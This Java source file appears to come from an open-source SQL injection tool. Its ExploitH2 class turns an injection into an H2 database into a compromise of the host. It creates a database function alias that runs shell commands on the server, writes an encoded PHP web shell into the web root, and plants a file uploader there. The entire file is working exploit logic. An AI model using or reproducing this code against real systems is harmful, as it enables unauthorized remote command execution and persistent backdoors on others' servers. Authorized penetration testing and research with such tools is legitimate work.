1 package com.jsql.model.accessible.vendor;
2
3 import com.jsql.model.InjectionModel;
4 import com.jsql.model.accessible.DataAccess;
5 import com.jsql.model.accessible.ResourceAccess;
6 import com.jsql.model.accessible.vendor.h2.ModelYamlH2;
7 import com.jsql.model.bean.util.Interaction;
8 import com.jsql.model.bean.util.Request;
9 import com.jsql.model.exception.JSqlException;
10 import com.jsql.model.exception.JSqlRuntimeException;
11 import com.jsql.util.LogLevelUtil;
12 import com.jsql.util.StringUtil;
13 import org.apache.commons.lang3.RandomStringUtils;
14 import org.apache.commons.lang3.StringUtils;
15 import org.apache.logging.log4j.LogManager;
16 import org.apache.logging.log4j.Logger;
17 import org.yaml.snakeyaml.Yaml;
18
19 import java.io.File;
20 import java.io.FileInputStream;
21 import java.io.IOException;
22 import java.io.InputStream;
23 import java.net.http.HttpResponse;
24 import java.util.UUID;
25 import java.util.function.BinaryOperator;
26
27 public class ExploitH2 {
28
29
30
31
32 private static final Logger LOGGER = LogManager.getRootLogger();
33 private final InjectionModel injectionModel;
34 private final ModelYamlH2 modelYaml;
35
36 public ExploitH2(InjectionModel injectionModel) {
37 this.injectionModel = injectionModel;
38 var yaml = new Yaml();
39 this.modelYaml = yaml.loadAs(
40 injectionModel.getMediatorVendor().getH2().instance().getModelYaml().getResource().getExploit(),
41 ModelYamlH2.class
42 );
43 }
44
45 public void createUdf() throws JSqlException {
46 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "UDF target requirements: stack query");
47
48 this.injectionModel.injectWithoutIndex(this.modelYaml.getRce().getDropAlias(), "alias#drop");
49 this.injectionModel.injectWithoutIndex(this.modelYaml.getRce().getCreateAlias(), "alias#create");
50 var result = this.injectionModel.getResourceAccess().getResult(String.format(
51 this.modelYaml.getRce().getRunCmd(),
52 ResourceAccess.WEB_CONFIRM_CMD +"%20"
53 ), ResourceAccess.RUN_FUNC);
54 if (result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
55 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE UDF successful: command execution found");
56 var request = new Request();
57 request.setMessage(Interaction.ADD_TAB_EXPLOIT_RCE_H2);
58 request.setParameters(null, null);
59 this.injectionModel.sendToViews(request);
60 }
61 }
62
63 public String runRce(String command, UUID uuidShell) {
64 String result;
65 try {
66 result = this.injectionModel.getResourceAccess().getResult(String.format(
67 this.modelYaml.getRce().getRunCmd(),
68 command.replace(StringUtils.SPACE, "%20")
69 ), ResourceAccess.RUN_FUNC);
70 } catch (JSqlException e) {
71 result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
72 }
73 var request = new Request();
74 request.setMessage(Interaction.GET_TERMINAL_RESULT);
75 request.setParameters(uuidShell, result.trim() +"\n");
76 this.injectionModel.sendToViews(request);
77 return result;
78 }
79
80 public String createWeb(String pathExploit, String urlExploit) {
81 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE Web target requirements: stack query, web+db on same machine, jdbc bridge");
82
83 String bodyExploit = StringUtil.base64Decode(
84 this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_WEB)
85 )
86 .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
87 .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
88
89 var nameTable = RandomStringUtils.secure().nextAlphabetic(8);
90 this.injectionModel.injectWithoutIndex(String.format(
91 this.modelYaml.getRce().getCreateTable(),
92 nameTable,
93 nameTable, bodyExploit.replace("'", "\"")
94 ), ResourceAccess.TBL_CREATE);
95 var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
96 this.injectionModel.injectWithoutIndex(String.format(
97 this.modelYaml.getRce().getScriptSimple(),
98 pathExploit + nameExploit,
99 nameTable
100 ), ResourceAccess.TBL_DUMP);
101
102 BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
103 String result = this.injectionModel.getResourceAccess().callCommand(
104 urlSuccess +"?c="+ ResourceAccess.WEB_CONFIRM_CMD
105 );
106 if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
107 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found");
108 return StringUtils.EMPTY;
109 }
110 var request = new Request();
111 request.setMessage(Interaction.ADD_TAB_EXPLOIT_WEB);
112 request.setParameters(urlSuccess);
113 this.injectionModel.sendToViews(request);
114 return urlSuccess;
115 };
116
117 return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
118 }
119
120 public void createUpload(String pathExploit, String urlExploit, File fileToUpload) {
121 String bodyExploit = StringUtil.base64Decode(
122 this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_UPL)
123 )
124 .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
125 .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
126
127 var nameTable = RandomStringUtils.secure().nextAlphabetic(8);
128 this.injectionModel.injectWithoutIndex(String.format(
129 this.modelYaml.getRce().getCreateTable(),
130 nameTable,
131 nameTable, bodyExploit.replace("'", "\"")
132 ), ResourceAccess.TBL_CREATE);
133 var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
134 this.injectionModel.injectWithoutIndex(String.format(
135 this.modelYaml.getRce().getScriptSimple(),
136 pathExploit + nameExploit,
137 nameTable
138 ), ResourceAccess.TBL_DUMP);
139
140 BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
141 try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
142 HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
143 if (result.body().contains(DataAccess.LEAD +"y")) {
144 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
145 } else {
146 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
147 }
148 } catch (InterruptedException e) {
149 LOGGER.log(LogLevelUtil.IGNORE, e, e);
150 Thread.currentThread().interrupt();
151 } catch (IOException | JSqlException e) {
152 throw new JSqlRuntimeException(e);
153 }
154 return urlSuccess;
155 };
156
157 this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
158 }
159
160 public ModelYamlH2 getModelYaml() {
161 return this.modelYaml;
162 }
163 }